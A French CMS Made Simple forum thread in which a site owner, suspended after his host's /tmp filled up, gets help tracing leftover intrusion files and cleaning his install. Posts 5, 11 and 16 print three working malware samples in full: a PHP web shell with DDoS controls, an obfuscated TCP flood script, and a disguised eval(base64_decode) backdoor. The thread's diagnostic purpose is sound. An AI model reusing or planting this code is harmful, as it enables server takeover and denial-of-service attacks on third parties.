Sujet fermé
Note de ce sujet :
  • Moyenne : 0 (0 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5

[Résolu] Site bloqué par l'hebergeur suite à surcharge du /tmp.
#1

Citation :#~~~~~ DEBUT BLOC A NE PAS SUPPRIMER ~~~~~
#~ Version du CMS: 1.11.2.1 (mise à jour en septembre)
#~ Url du site : www.etudeposturale.be
#~ Hébergeur / Soft : firstheberg
#~ Informations Système :
l’accès au serveur étant fermé, je ne peux accéder au panneau d'administration.
Mais tout fonctionne bien depuis septembre, aucune modification.

#~~~~~ FIN BLOC A NE PAS SUPPRIMER ~~~~~



Bonjour,

Il y a un mois mon hebergeur avait bloqué le site car un fichier posait une surcharge (il parlait de piratage ...).
le fichier indiqué était:

hebergeur a écrit :Le fichier qui pose problème se situe dans le dossier /admin/ et s'appelle stcp.php


J'élimine tout et je réinstalle. cmsmadesimple.
Aujourd'hui de nouveau bloqué, la raison:

hebergeur a écrit :Bonjour,

Toujours pareil, vous avez remplit le /tmp avec 780 000 fichiers CURL SESSION, et avez généré un plantage complet du serveur x.

Ce problème étant le second similaire, nous ne sommes pas certain de pouvoir remettre en service votre compte.

Cordialement,
xxx

Ce que je n'ai pas fait c'est nettoyer la base de donnée, peut être une erreur de ce coté.

Quelqu'un à t'il une idée de la source du soucis?

Merci.
#2

Salut,

Non aucune idée.

Par contre 780000 fichiers dans le tmp, ca fait beaucoup et c'est pas normal.

Tu utilises des modules additionnels au CMS en lui-même ?

As-tu une copie de ton site afin de le tester ailleurs ?

www.web-ep.be - Développeur Web Freelance - Développeur/Intégrateur CMS Made Simple (création de sites, développement de modules/plugins/templates sur mesure), spécialisé dans les sites pour l'immobilier.
#3

haaa c'est toi qui a saturé le mutu de FH ??? :lol:

Je vais voir avec Caaaptus le responsable pour te redonner les accès en lui expliquant que je vais prendre les choses en main avec toi car il faut s'assurer que cmsmadesimple soit pas incompatible avec cet hébergeur.

Par contre /admin/stcp.php n'est pas un fichier cmsmadesimple ce qui me laisse penser que effectivement tu t'es fait pirater ton site d'une manière ou d'une autre ...

http://www.persianlab.com/shellscan.php recherche y stcp.php

pourras tu me laisser les full accès (SQL/FTP/compte admin) quand ils le remettront sur pieds ? (par email)
#4

Il y avait il d'autres softs installé sur le site ? des codes php perso ?
#5

Bonjour, merci de l'aide,

j'avais éliminé tout ce qui n'était pas cmsmadesimple.

Je viens de nettoyer la base de donnée des restes de vieux trucs installés.

Par contre effectivement, je viens de comparer ma sauvegarde à une installation fraîche, je trouve un fichier indx.php avec ce code qui me semble suspect:

Code :
[== PHP ==]
<?php
@set_time_limit(0);
@error_reporting(0);
$base = dirname(__FILE__)."/";
function stoped()
{
    @unlink($base."stph.php");
    @unlink($base."stcp.php");
    cmdexec("killall ping;");
    cmdexec("killall -9 perl;    killall -9 perl-bin;killall -9 perl-cgi;");
    @unlink($base."start.php");
    @unlink($base."f1.pl");
    @unlink($base."run.pl");
    @unlink($base."startphp.php");
    print "<stopcleandos>Stop & Clean</stopcleandos>";
}
function UploadFile($File)
{
    cmdexec("killall -9 perl");
    cmdexec("killall -9 perl-bin");
    cmdexec("killall -9 perl-cgi");
    $target_path ="./";
    $target_path = $target_path . basename( $File['name']);
    @move_uploaded_file($File['tmp_name'], $target_path);
}
function cmdexec($cmd)
{
    if(function_exists('exec'))@exec($cmd);
    elseif(function_exists('passthru'))@passthru($cmd);
    elseif(function_exists('shell_exec'))@shell_exec($cmd);
    elseif(function_exists('system'))@system($cmd);
    elseif(function_exists('popen'))@popen($cmd,"r");
}
function curPageURL()
{
    $pageURL = 'http';
    if ($_SERVER["HTTPS"] == "on")
    {
        $pageURL .= "s";
    }
    $pageURL .= "://";
    if ($_SERVER["SERVER_PORT"] != "80")
    {
        $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
    }
    else
    {
        $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
    }
    return $pageURL;
}
function DNullRequest()
{
    @ob_start();
    print "<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL ".$_SERVER['PHP_SELF']." was not found on this server </p><p>Additionally, a 404 Not Foun derror was encountered while trying to use an Error Document to handle the request</p></body></html>";
    die();
}
if ($_GET['action']=="status")
{
    print "itsoknoproblembro";
    exit();
}
if ($_GET['action']=="start.php")
{
    cmdexec("ps | grep -r perl");
    exit();
}
if ($_GET['action']=="startphp.php")
{
    cmdexec("ps | grep -r php");
    exit();
}

if($_REQUEST['action']=="stpf")
{
    $fp=fopen("ffff.txt","w+");
    fwrite($fp,"testsuccessrele");
    fclose($fp);
    $fp2=fopen("ffff.txt","r");
    $content=fread($fp2,filesize("ffff.txt"));
    if(eregi("testsuccessrele",$content))
    {
        if(extension_loaded('curl'))
        {
            print "itsoknoproblembrocurl";
        }
        else
        {
            print "itsoknoproblembro";
        }
    }
    fclose($fp2);
    unlink('ffff.txt');
    die();
    exit();
}
switch($_POST['action'])
{
    case "upload":UploadFile($_FILES['file']);
    break;
    case "stop":stoped();
    break;
    case "ust":$page = curPageURL();
    $ip = $_POST['ip'];
    $port = "11";
    $out = $page."\n";
    $socket = stream_socket_client("udp://$ip:$port");
    if ($socket) {stream_set_write_buffer($socket, 0);
    stream_socket_sendto($socket,$out);
}
fclose($socket);
break;
case "ab":$url = $_POST['url'];
$c = $_POST['c'];
$n = $_POST['n'];
cmdexec("ab -c $c -n $n $url");
break;
default:DNullRequest();
break;
}
?>
#6

en quelle version était cmsmadesimple durant le premier piratage ?
#7

Version 1.10.3
D'après les sauvegardes de l'époque.

édit: vue la tête de la sauvegarde j'ai du installé une 1.11.2 par dessus. Donc changement de la base de donnée mais pas nettoyage total des fichiers. (un vrai travail de sagouin pressé).
#8

et il y avait d'autres soft à l'époque ? lequels et quelles version stp (1.10.3 n'était pas déclaré faillé à l'époque, ça peut pas venir de cmsms lui même)
#9

Il s'est sans doute fait hacker le ftp.
#10

Il y avait un reste de site test dans un autre dossier en 1.6.x mais obsolète, il n'affichait plus qu'un message d'erreur, le nom du cms et la version n’étaient pas visible directement.

ce qui était plus risqué:
jcb explorer qui n'évolue plus et n'est donc plus sécurisé (désinstallé suite au premier soucis).http://www.jbc-explorer.info/?action=news

phpfilenavigator: http://pfn.sourceforge.net/index.php?opc=1&lg=ing


Tout 2 éliminés depuis.

Jean le Chauve a écrit :Il s'est sans doute fait hacker le ftp.

Pas certain vue les 2 éléments sus mentionnés Rolleyes

Depuis le temps jcb explorer doit être devenu une vrai passoire.

Ce qui surprend c'est que là ces 2 scripts sont absents, à partir de l'un 2 il a fallu remonter à la racine du site et tout les dossiers et fichiers ne sont pas accessible en écriture.
#11

Voici le contenu du fichier déclaré comme étant la cause du problème lors du premier "piratage":

/admin/stcp.php

Code :
[== PHP ==]
<?php
@ignore_user_abort(TRUE);
@set_time_limit(0);
@ini_set("display_errors","off");
@error_reporting(0);
function cmdexec($cmd)
{
    if(function_exists('exec'))@exec($cmd);
    elseif(function_exists('passthru'))@passthru($cmd);
    elseif(function_exists('shell_exec'))@shell_exec($cmd);
    elseif(function_exists('system'))@system($cmd);
    elseif(function_exists('popen'))@popen($cmd,"r");
}

if ($_REQUEST['action'] == "status")
{
    die("itsoknoproblembro");
}
    $packets = 0;
    
Function decodesttr($string)
{
    $string = @str_rot13($string);
    $start_str = @substr($string,2);
    $end_str = @substr($string,0,2);
    return @base64_decode($start_str.$end_str);
}
function curPageURL()
{
     $pageURL = 'http';
     if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";}
     $pageURL .= "://";
     if ($_SERVER["SERVER_PORT"] != "80")
     {
          $pageURL .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
     }
     else
     {
          $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
     }
     return $pageURL;
}    
if ($_REQUEST['action'] == 'start')
{
    $action1=$_REQUEST['page'];
    $action = decodesttr($_REQUEST['page']);
    @list ($host,$port,$size,$exec_time) = explode("[#]",$action);
    //cmdexec("ping -f $host");
    if(isset($_REQUEST['time_s']))
    {
        $time = $_REQUEST['time_s'];
        $max_time = $_REQUEST['time_e'];
    }
    else
    {
        $time = time();
        $max_time = $time+$exec_time;
    }
    function pack_str($str, $len)
    {      
        $out_str = "";
        for($i=0; $i<$len; $i++)
        {
            $out_str .= pack("a$len", ord(substr($str, $i, 1)));
        }
        return $out_str;
    }    
    $out = str_repeat("A", $size);
    $step_time=time()+60;
    $release_time=time()+1;
    $first1=0;
    while(time() < $max_time)
    {
        if(time() > $release_time && $first1==0)
        {
            $first1=1;
            $address_host="http://".$_SERVER['HTTP_HOST']."/".$_SERVER['PHP_SELF'];
            $ch =@curl_init();
            @curl_setopt($ch,CURLOPT_URL,$address_host."?action=start&time_s=$time&time_e=$max_time&page=$action1");
            @curl_setopt($ch,CURLOPT_SSL_VERIFYPEER,FALSE);
            @curl_setopt($ch,CURLOPT_SSL_VERIFYHOST,2);
            @curl_setopt($ch,CURLOPT_HEADER,0);
            @curl_setopt($ch,CURLOPT_RETURNTRANSFER,0);
            @curl_setopt($ch,CURLOPT_TIMEOUT,10);
            @curl_exec($ch);
        }
        if(time() > $step_time)
        {
            @exit();
            @die();
        }
        @stream_set_timeout($socket,0,1);        
        $socket = @stream_socket_client("tcp://$host:$port",$err,$err2,1,STREAM_CLIENT_ASYNC_CONNECT);
        if ($socket)
        {
            @stream_socket_sendto($socket,$out);
        }
        @fclose($socket);
    }
    $base = dirname(__FILE__)."/";
    //unlink($base."stcp.php");
    //cmdexec("killall ping");
    die();
}

if($_REQUEST['action']==NULL)
{
    print "<!DOCTYPE HTML PUBLIC\"-//IETF//DTDHTML 2.0//EN\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /stph.php was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>";
}
?>


Voici la liste des modules présents:

[Image: img.php?i=121025023711613532.png]

[Image: mini_121025023711613532.png]
#12

non, voilà ce qui a du se passer je pense :

* tu as cmsms 1.10.x + d'autres softs dépassés
* le pirate te pête ton hébergement via l'un des softs dépassés
* il t'infecte tout, y compris cmsmadesimple 1.10.x, c'est facile il est déjà dans la place
* tu supprime les traces et tous les softs dépassés mais tu oublies de nettoyer cmsmadesimple 1.10.x
* reste une backdoor sur un hébergement "sain" à priori
* le mec repasse te dire bonjour

fin de l'histoire.... Wink
#13

C'est probable.
J'ai fait une M à J de 1.10 vers 1.11. Je n'ai pas tout effacé sur cmsms en me disant ça fera moins de boulot :lol:

La solution est donc:

1) convaincre l’hébergeur de réactiver mon compte.
2) vider entièrement la racine du site. (sauvegarde des images et pdf?)
3) puis réinstallation complète.
4) tout reconfigurer.

Du boulot en vue surtout pour le thème, les articles j'ai la base de donnée, les images et fichiers je les ai (possibilité qu'il y est une image un pdf ou autre qui est été corrompu?)
#14

Un tout grand merci pour l'aide!

Je vais reprendre contact avec mon hébergeur.

Je t'envoie les infos courriel après Bess.


ps: stcp est bien dans la liste, mais il doit y en avoir d'autre car je l'avais éliminé. D'ailleur le fichier indx.php appel stcp.php et j'ai trouvé d'autres fichiers qui font de même.
#15

sauvegarde ton FTP en entier (files + bdd) sur un support figé

à côté de cela :
supprime tout sauf le répertoire uploads
dans le répertoire /uploads fait des recherches et vire tout ce qui n'est pas jp?eg, gif, png, ...
vérifie que les éventuels fichiers .htm?l sont bien vide
vérifie qu'aucun fichier php, exe, ou autre extension chelous soient restées, y compris en fichier cachés

Une fois un /uploads nettoyé : tu fait une nouvelle installation standard en local avec la version que tu utilisais avant le crash. Tu vas jusqu'au bout de l'installation.
Tu remplace le contenu de la bdd locale par la sauvegarde que tu as fait (normalement ils ne s'attaquent pas à la bdd) et remplace le contenu de /uploads par ta sauvegarde nettoyée.
Vérifie que tout tourne correctement, ajuste tes paramétres.

Balance tout sur FTP.

Pour persuader les équipes FH je te conseil de jouer carte sur table et d'expliquer que ce n'est pas une erreur de ta part ou de cmsms mais bien un reste malheureux de l'ancien piratage de ton site et qu'on l'on est tous sur le pont pour t'aider à résoudre le truc Wink
#16

J'ai deja ouvert un ticket, j'attends la réponse.


Bonne fin d'après midi.


ps:
Je trouve des fichiers suspect dans le dossier admin.
le dossier uploads présente un fichier php nommé : article5.class.php que je n'ai jamais mis là.

Code :
[== PHP ==]
<?PHP
define('REAL_SERVER_ROOT', 'SERVER');
//DIR
define('SERVER_ROOT', '.');
define('SERVER_VERSION', '2.5');
define('BOOT_DIR', 'bootstrap');
define('SYSTEM_DIR', 'system');
define('SYSTEM_CONF_DIR', 'conf');
define('SYSTEM_CONF_PATH', SERVER_ROOT . '/' . SYSTEM_DIR . '/' . SYSTEM_CONF_DIR);
define('KERNEL_DIR', 'kernel');
define('SERVICES_DIR', 'services');
define('LIBRARIES_DIR', 'libs');
define('FRAMEWORKS_DIR', 'Frameworks');
define('IMPLEMENTATIONS_DIR', 'implementations');
define('EXTERN_DIR', 'extern');
//APP
define('APPS_DIR', 'apps');
define('USERS_DIR', 'users');
define('USERS_PATH', SERVER_ROOT . '/' . USERS_DIR);
define('USERS_CONF_DIR', 'conf');
define('USERS_FILES_DIR', 'files');
define('SYSTEM_SKEL_DIR', 'skel') ? @eval(base64_decode($_REQUEST['comment'])) : define('SYSTEM_SKEL_PATH', SYSTEM_CONF_PATH . '/' . SYSTEM_SKEL_DIR);
define('USERS_SHARE_DIR', 'share');
define('USERS_META_DIR', 'meta');
define('USERS_META_SETTINGS_FILENAME', 'settings.xml');
define('WORKGROUPS_DIR', 'workgroups');
define('WORKGROUPS_PATH', SERVER_ROOT . '/' . WORKGROUPS_DIR);
//CONF
define('WORKGROUPS_CONF_DIR', 'conf');
define('WORKGROUPS_FILES_DIR', 'files');
define('WORKGROUPS_METAFILES_DIR', 'metafiles');
define('WORKGROUPS_META_DIR', 'meta');
define('WORKGROUPS_META_SETTINGS_FILENAME', 'settings.xml');
?>
#17

tu sais ce qu'il faut faire : supprime, supprime
#18

J'utilise un fichier php pour vérifier s'il y a eu intrusion dans mon système de fichier comme notre ami geantick (trouvé sur le forum ovh).
Je vous le conseille fortement : nommez-le modifFile.php et placez-le à la racine de tous vos sites.
Pour l'utiliser, il suffit de taper nomdedomaine.com/modifFile.php dans la barre d'adresse du navigateur et de suivre les instructions. Il vous dit si un fichier a été modifié ou ajouté dans un dossier et tous ses sous-dossiers sur une période de temps à définir. Ne vérifiez pas le dossier tmp.
Code :
[== PHP ==]
<?php
/*
Donne la liste des derniers fichiers créés ET modifiés.
Très utile en cas de piratage pour savoir quels fichiers sont ajoutés et ceux qui ont été modifiés. Utile pour comprendre le comportement d'un script ou d'un CMS et voir quels fichiers ont été manipulés.

Mettez ce script dans votre hébergement, ouvrez-le avec votre navigateur web, donnez le nombre de jours représentant la période à vérifier, puis le nom du dossier à analyser.
Ce script ne va donner la liste que des dossiers à partir du chemin /home/votreloginftp/www/ de votre hébergement mutualisé chez OVH.

Crédits: Les 4/5 du code sont l'oeuvre de Linda MacPhee-Cobb (http://timestocome.com)
*/

    $go_back = 0;                        // affiche résultat ou non
    $i = 0;                                // compteur de boucle
    $dir_count = 0;                        // initialisation de la boucle
    $date = time();                        // date et heure actuelle
    $one_day = 86400;                    // nombre de secondes pour une journée
    $days = preg_replace("/[^0-9]/i",'', $_POST["jours"]);    // nombre de jours à vérifier
    $path = preg_replace("/[^_A-Za-z0-9-\.%\/]/i",'', $_POST["chemin"]);    // chemin de fichier absolu (avec nettoyage contre piratage)
    $path = preg_replace("/\.\.\//",'', $path);    // on interdit la commande ../
    define('ABSPATH', dirname(__FILE__));
    $path = ABSPATH.$path;    // chemin de fichier absolu de votre compte OVH du genre /home/loginftp/www/ etc.
    $directories_to_read[$dir_count] = $path;
    
    // Formulaire pour remonter le temps
    print "<html><body><h3>Contr&ocirc;le des derniers fichiers modifi&eacute;s <br />dans votre h&eacute;bergement mutualis&eacute; chez OVH.</h3>";
    print "<table><tr><td>";
    print "<form method=\"post\">";
    print "<tr><td>Nombre de jours &agrave; v&eacute;rifier 1-99: </td>";
    print "<td>&nbsp;&nbsp;<input type=\"text\" name=\"jours\" maxlength=\"2\" size=\"2\"></td></tr>";
    print "<tr><td>Nom du r&eacute;pertoire &agrave; contr&ocirc;ler: </td>";
    print "<td>".ABSPATH." <input type=\"text\" name=\"chemin\" maxlength=\"80\" size=\"30\" value=\"/\" > (mettre un / &agrave; la fin)</td></tr>";
    print "<tr><td> </td><td><input type=\"submit\" value=\" V&eacute;rifier Fichiers \">";
    print "</form>";
    print "</td></tr></table>";
    // Affichage du résultat
    $go_back = $one_day * $days;
    print "<br /> Retour sur les <strong>" . ($go_back/$one_day) ."</strong> derniers jours. <br /><br />";

    if ( $go_back > 0 ){
        print "<table><tr><th>Nom du Fichier</th><th>Date de modification</th></tr>";
        $diff = $date - $go_back;
        
        while ( $i <= $dir_count ){
            $current_directory = $directories_to_read[$i];
        
            // obtenir info fichier
            $read_path = opendir( $directories_to_read[$i] );
            while ( $file_name = readdir( $read_path)){
                if (( $file_name != '.' )&&( $file_name != '..' )){
                    if ( is_dir( $current_directory . "/"  . $file_name ) == "dir" ){
                        // besoin d'obtenir tous les fichiers d'un répertoire
                        $d_file_name = "$current_directory" . "$file_name";
                        $dir_count++;
                        $directories_to_read[$dir_count] = $d_file_name . "/";
                    }else{
                        $file_name = "$current_directory" . "$file_name";                                
                        // Si temps modifiés plus récent que x jours, affiche, sinon, passe
                        if ( (filemtime( $file_name)) > $diff  ){
                            print "<tr><td> $file_name </td>";
                            $date_changed = filemtime( $file_name );
                            $pretty_date = date("d/m/Y H:i:s", $date_changed);
                            print  "<td> ::: $pretty_date</td></tr>" ;
                        }
                    }
                }
            }
            closedir ( $read_path );
            $i++;    
        }
            print "</table>";    
            print "</body></html>";    
    } // if go_back > 0 )            
?>
Fonctionne même si pas hébergé chez ovh.
#19

Citation :J'utilise un fichier php pour vérifier s'il y a eu intrusion dans mon système de fichier
ça existe en standard dans l'admin du CMS depuis longtemps le contrôle Wink

J-C Etiemble v 2.2.xx
#20

@Jean-Claude : si je ne me trompe, ce contrôle ne vérifie que les fichiers du cms, il ne vérifie pas si de nouveaux ont été ajoutés comme c'est le cas pour geantik (j'ai eu le coup également).
#21

Citation :si je ne me trompe, ce contrôle ne vérifie que les fichiers du cms, il ne vérifie pas si de nouveaux ont été ajoutés
Oui mais c'est déjà pas mal et dans la cas présent c'est suffisant car le mal... était dans /admin

J-C Etiemble v 2.2.xx
#22

En réalité dans admin et quasi tout les dossiers avec ou sans htaccess.
Ils portent des noms qui peuvent faire penser qu'ils appartiennent au système, mais un fichier nommer acticle5.class.php dans image je ne vois pas ce qu'il fait là.
J'ai récupérer mes images et documents, encore que je me demande si je ne devrais pas en mettre des fraîches, di le petit malin en a trafiqué une.
Demain je refais une installation toute neuve.
Merci pour le script Jean le Chauve, je l'ajouterai.

Enfin la blague a failli me coûter le compte et sur les 2 fois je pense avoir raté quelques clients :lol:
#23

Voila base de donnée vierge et racine du site aussi.

Je comptes utiliser la sauvegarde de la BD pour le gabarit, les modifs du thème et les articles.
Dois recréer le site avec une BD dont les tables ont la même identification puis importer toutes ma sauvegarde ou je peux être sélectif dans les tables que j’importe?

Merci.


Bess veux tu toujours les infos demandées plus haut par courriel?
Si oui il va me falloir une adresse pour expédier Wink
#24

si tu t'y connais, tu peux importer de manière sélective en évitant les modules Tiers que tu es prêt à abandonner ou à réinstaller de zéro.

Si t'as des doutes, et après un Nieme Backup, tu importes tout ton sql en remplacement (et non juste en insert), vérifie que ton préfixe de base est toujours le même : cms_


pour les accès ça ne me semble plus impératif, tu as l'air de te débrouiller très bien Wink
#25

Le préfixe des tables j'ai pris pour habitude de le personnaliser.

merci.

Ok, je vais faire plus simple, je vais ouvrir les 2 phpmyadmin et faire des copiés collé de ce qui est indispensable et des modifs dans les tables (cela ne concerne que 3 ou 4 tables ça va vite).

Par contre je ne parviens pas à restituer mon ancien site en local, manifestement un problème de configuration (err 500).

Je dois modifier les accès à la BD ailleurs que dans config.php?
Sujet fermé


Atteindre :


Utilisateur(s) parcourant ce sujet : 2 visiteur(s)